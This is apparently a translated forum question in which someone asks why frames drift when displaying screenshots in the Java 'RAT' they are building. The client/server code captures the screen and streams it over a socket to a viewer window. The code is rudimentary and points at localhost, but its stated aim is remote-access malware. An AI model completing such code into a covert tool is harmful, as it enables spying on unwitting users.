我正在尝试制作一个 java RAT,但 atm 我只有屏幕显示。当我运行它时,它会在 JFrame 上很好地显示屏幕,但是每次绘制时它都会将相同的图像拖得更低一点,如下所示:
客户:
import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.GZIPOutputStream;
import javax.imageio.ImageIO;
public class Client {
public static void main(String[] args) {
try {
Robot robot = new Robot();
Toolkit toolkit = Toolkit.getDefaultToolkit();
Rectangle screen = new Rectangle((int) toolkit.getScreenSize().getWidth(), (int) toolkit.getScreenSize().getHeight());
Socket socket = new Socket("127.0.0.1", 25565);
GZIPOutputStream out = new GZIPOutputStream(socket.getOutputStream());
while(socket.isConnected()) {
ImageIO.write(robot.createScreenCapture(screen), "png", out);
}
out.close();
} catch (AWTException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
服务器:
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.GZIPInputStream;
import javax.imageio.ImageIO;
public class Server {
public static void main(String[] args) {
try {
ServerFrame frame = new ServerFrame();
ServerSocket serverSocket = new ServerSocket(25565);
Socket socket = serverSocket.accept();
GZIPInputStream in = new GZIPInputStream(socket.getInputStream());
BufferedImage image = null;
while(socket.isConnected()) {
image = ImageIO.read(in);
if(image != null) {
frame.setBufferedImage(image);
}
}
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
服务器框架:
import java.awt.Graphics;
import java.awt.image.BufferedImage;
import javax.swing.JFrame;
public class ServerFrame extends JFrame {
private BufferedImage image;
public ServerFrame() {
setTitle("RAT");
setSize(1920, 1080);
setVisible(true);
image = null;
}
public void setBufferedImage(BufferedImage image) {
this.image = image;
this.repaint();
}
public void paint(Graphics g) {
if(image != null) {
g.drawImage(image, 0, 0, this);
}
}
}